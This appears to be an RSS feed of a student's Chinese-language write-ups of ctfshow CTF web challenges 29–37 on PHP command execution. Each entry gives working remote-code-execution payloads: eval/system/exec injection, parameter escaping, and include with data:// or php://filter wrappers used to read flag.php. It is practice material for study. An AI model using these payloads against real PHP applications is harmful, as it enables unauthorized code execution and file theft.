命令执行 on 波奇大王的 "Hugo Project" https://www.guitarhero.wang/notes/ctf/command-execution/ Recent content in 命令执行 on 波奇大王的 "Hugo Project" Hugo -- gohugo.io zh-cn Wed, 02 Sep 2026 12:15:02 +0800 ctfshow web37 https://www.guitarhero.wang/notes/ctf/command-execution/web37/ Wed, 02 Sep 2026 12:15:02 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web37/ <h1 id="ctfshow-web37">ctfshow web37 </h1><ul> <li><strong>题号</strong>：web37</li> <li><strong>难度</strong>：⭐</li> <li><strong>考点</strong>：命令执行</li> <li><strong>日期</strong>：2026-9-2</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260902121247" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260902121247.png"></p> <h2 id="解题思路">解题思路 </h2><p>1.因为是文件包含，所以想到伪协议。又因为过滤了flag，就用占位符替代</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1.?c=data://text/plain,&lt;?php system(&#39;tac fla?.php&#39;) ?&gt; </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><ol> <li></li> </ol> <p><img alt="Pasted image 20260902121453" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260902121453.png"></p> <h2 id="对应课程章节">对应课程章节 </h2><p>命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>无</p> ctfshow web36 https://www.guitarhero.wang/notes/ctf/command-execution/web36/ Wed, 02 Sep 2026 10:57:04 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web36/ <h1 id="ctfshow-web36">ctfshow web36 </h1><ul> <li><strong>题号</strong>：web36</li> <li><strong>难度</strong>：⭐</li> <li><strong>考点</strong>：文件包含（配合伪协议）</li> <li><strong>日期</strong>：2026-9-2</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260902105521" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260902105521.png"></p> <h2 id="解题思路">解题思路 </h2><p>1.真就一招鲜吃遍天，和Web35基本一样，就是因为过滤了数字所以将数字的参数改成字母就行了</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1.[[Web35|[&#34;Web35&#34;,&#34;命令执行&#34;]]] </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><h2 id="对应小迪课程章节">对应小迪课程章节 </h2><h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>无</p> ctfshow web35 https://www.guitarhero.wang/notes/ctf/command-execution/web35/ Tue, 01 Sep 2026 19:02:08 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web35/ <h1 id="ctfshow-web35">ctfshow web35 </h1><ul> <li><strong>题号</strong>：web35</li> <li><strong>难度</strong>：⭐</li> <li><strong>考点</strong>：命令执行配合伪协议</li> <li><strong>日期</strong>：2026-9-1</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260901190106" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260901190106.png"></p> <h2 id="解题思路">解题思路 </h2><p>1.还是和Web34一样的操作</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1.?c=include$_GET[1]?&gt;&amp;1=data://text/plain,&lt;?php system(&#39;tac flag.php&#39;) ?&gt; </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><ol> <li></li> </ol> <p><img alt="Pasted image 20260901190152" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260901190152.png"></p> <h2 id="对应课程章节">对应课程章节 </h2><p>RCE命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>无</p> ctfshow web34 https://www.guitarhero.wang/notes/ctf/command-execution/web34/ Tue, 01 Sep 2026 13:55:37 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web34/ <h1 id="ctfshow-web34">ctfshow web34 </h1><ul> <li><strong>题号</strong>：web34</li> <li><strong>难度</strong>：⭐</li> <li><strong>考点</strong>：命令执行（配合伪协议）</li> <li><strong>日期</strong>：2026-9-1</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260901135352" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260901135352.png"></p> <h2 id="解题思路">解题思路 </h2><p>1.和Web33.32还是一样构造文件包含配合伪协议即可</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1./?c=include$_GET[1]?&gt;&amp;1=data://text/plain,&lt;?php system(&#39;tac flag.php&#39;) ?&gt; </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><ol> <li></li> </ol> <p><img alt="Pasted image 20260901135511" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260901135511.png"></p> <h2 id="对应小迪课程章节">对应小迪课程章节 </h2><p>RCE命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>无</p> ctfshow web33 https://www.guitarhero.wang/notes/ctf/command-execution/web33/ Sun, 30 Aug 2026 18:02:59 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web33/ <h1 id="ctfshow-web33">ctfshow web33 </h1><ul> <li><strong>题号</strong>：web33</li> <li><strong>难度</strong>：⭐</li> <li><strong>考点</strong>：Web33</li> <li><strong>日期</strong>：2026-8-30</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260830180048" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260830180048.png"></p> <h2 id="解题思路">解题思路 </h2><p>1.和32思路基本一样，就是构造文件包含漏洞配合伪协议就行</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1./?c=include$_GET[1]?&gt;&amp;1=data://text/plain,&lt;?php system(&#39;ls&#39;) ?&gt; </span></span><span style="display:flex;"><span>2.?c=include$_GET[1]?&gt;&amp;1=php://filter/read=convert.base64-encode/resource=flag.php </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><p>1.<img alt="Pasted image 20260830180200" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260830180200.png"> 2.<img alt="Pasted image 20260830180230" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260830180230.png"></p> <h2 id="对应课程章节">对应课程章节 </h2><p>RCE命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>神不会在同一个地方放错</p> ctfshow web32 https://www.guitarhero.wang/notes/ctf/command-execution/web32/ Sat, 29 Aug 2026 11:57:33 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web32/ <h1 id="ctfshow-web32">ctfshow web32 </h1><ul> <li><strong>题号</strong>：web32</li> <li><strong>难度</strong>：⭐⭐</li> <li><strong>考点</strong>：命令执行配合制造漏洞代码</li> <li><strong>日期</strong>：2026-8-29</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260829113015" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260829113015.png"> 将大部分常规思路代码都过滤了，尤其是分号的过滤，因为我们的普遍认知都是php中每个想要执行的代码后面都必须存在分号</p> <h2 id="解题思路">解题思路 </h2><p>1.发现过滤了分号就去思考有什么不需要用到分号或者只用一次分号就能解决问题的办法 2.然后聪明的你就想到了通过构造文件包含漏洞配合伪协议来解决这题</p> <p>下面的两个payload都可以获取flag</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>一.?c=include$_GET[1]?&gt;&amp;1=data://text/plain,&lt;?php system(&#39;tac flag.php&#39;);?&gt; </span></span><span style="display:flex;"><span>二.?c=include$_GET[1]?&gt;&amp;1=php://filter/read=convert.base64-encode/resource=flag.php </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><p>一.<img alt="Pasted image 20260829115538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260829115538.png"></p> <p>二.<img alt="Pasted image 20260829115323" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260829115323.png"></p> <h2 id="对应课程章节">对应课程章节 </h2><p>RCE命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>1.正常来说分号是php代码的结束符，没有分号就会报错。但这有个小细节:?&gt;这个也可以作为php代码的结束符，所以一般php代码的最后一个代码都可以不用分号</p> ctfshow web31 https://www.guitarhero.wang/notes/ctf/command-execution/web31/ Fri, 28 Aug 2026 11:26:36 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web31/ <h1 id="ctfshow-web31">ctfshow web31 </h1><ul> <li><strong>题号</strong>：web31</li> <li><strong>难度</strong>：⭐⭐</li> <li><strong>考点</strong>：RCE中的“参数逃逸”</li> <li><strong>日期</strong>：2026-8-28</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260828105908" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828105908.png"> 基本将之前的绕过思路全部阻断了</p> <h2 id="解题思路">解题思路 </h2><p>1.看到没过滤exec，就以为和上题思路一样将内容全部写到自定义文件里面，知道我看到了题目过滤了“.”，那不卡了吗 2.然后就想到了萧瑟迪的一招“参数逃逸”，就是自己创建个参数去执行命令，然后自己创建的参数又不受题目的限制</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>?c=eval($_GET[1]);&amp;1=system(&#39;tac flag.php&#39;); </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><p>2.<img alt="Pasted image 20260828112522" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828112522.png"></p> <h2 id="对应课程章节">对应课程章节 </h2><p>RCE命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>开始也想过参数逃逸，但是我看到题目实际是过滤了引号的，我以为没有引号就创建不了参数，结果参数是可以以数字形式创建的</p> ctfshow webXXX - 题目名 https://www.guitarhero.wang/notes/ctf/command-execution/web30/ Fri, 28 Aug 2026 10:31:09 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web30/ <h1 id="ctfshow-webxxx---题目名">ctfshow webXXX - 题目名 </h1><ul> <li><strong>题号</strong>：Web30</li> <li><strong>难度</strong>：⭐</li> <li><strong>考点</strong>：RCE命令执行（无回显）</li> <li><strong>日期</strong>：2026-8-28</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260828102010" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828102010.png"> 来到靶场，发现其多过滤了system和php</p> <h2 id="解题思路">解题思路 </h2><p>1.因为只过滤了system，我们还可以去使用其他命令执行的函数，比如（我写这题想到的）exec，shell_exec等等，但是exec和shell_exec都是无法回显到页面上来的 2.遇到无回显我们会怎么办呢？一个是带外查询，一个就是本地文件创建于访问。因为我们是要查看具体的flag值，所以得选择后者 3.在使用ls查看本地文件的同时创建一个自定义文件让它将数据记录在里面 4.然后去访问一下furina.txt文件，发现flag确实是在本级目录 5.然后再用tac命令配合文件创建并查看即可</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>3.?c=exec(&#34;ls &gt;&gt; furina.txt&#34;); </span></span><span style="display:flex;"><span>5.?c=exec(&#34;tac fla?.ph? &gt; furina.txt&#34;); </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><p>3.<img alt="Pasted image 20260828102613" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828102613.png"> 4.<img alt="Pasted image 20260828102659" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828102659.png"> 5. <img alt="Pasted image 20260828103020" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828103020.png"> <img alt="Pasted image 20260828103041" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828103041.png"></p> <h2 id="对应课程章节">对应课程章节 </h2><p>RCE命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>无</p> ctfshow web29 https://www.guitarhero.wang/notes/ctf/command-execution/web29/ Fri, 28 Aug 2026 09:56:06 +0800 https://www.guitarhero.wang/notes/ctf/command-execution/web29/ <h1 id="ctfshow-web29">ctfshow web29 </h1><ul> <li><strong>题号</strong>：web29</li> <li><strong>难度</strong>：⭐</li> <li><strong>考点</strong>：如 SQL 注入（无回显）</li> <li><strong>日期</strong>：2026-8-28</li> </ul> <hr> <h2 id="题目描述">题目描述 </h2><p><img alt="Pasted image 20260828094919" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828094919.png"> 一个简单的eval命令执行，只是过滤了flag</p> <h2 id="解题思路">解题思路 </h2><p>1.先简单审计函数，发现里面出现了关键函数“eval” 2.想到代码执行转变为命令执行去查看本地文件 3.发现flag文件，因为有过滤，所以我们可以使用占位符？或者通配符*去绕过</p> <h2 id="payload--关键操作">Payload / 关键操作 </h2><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>2.?c=system(&#39;ls&#39;); </span></span><span style="display:flex;"><span>3.?c=system(&#39;tac fla?.php&#39;); </span></span></code></pre></div><h2 id="复现截图">复现截图 </h2><ol start="2"> <li></li> </ol> <p><img alt="Pasted image 20260828095211" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828095211.png"> 3.<img alt="Pasted image 20260828095517" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.guitarhero.wang/notes/Pasted-image-20260828095517.png"></p> <h2 id="对应课程章节">对应课程章节 </h2><p>59.RCE命令执行</p> <h2 id="踩坑记录--复盘">踩坑记录 / 复盘 </h2><p>值得注意的是，我不知道是bug还是它内部过滤的原因，反正就是用不了cat命令</p>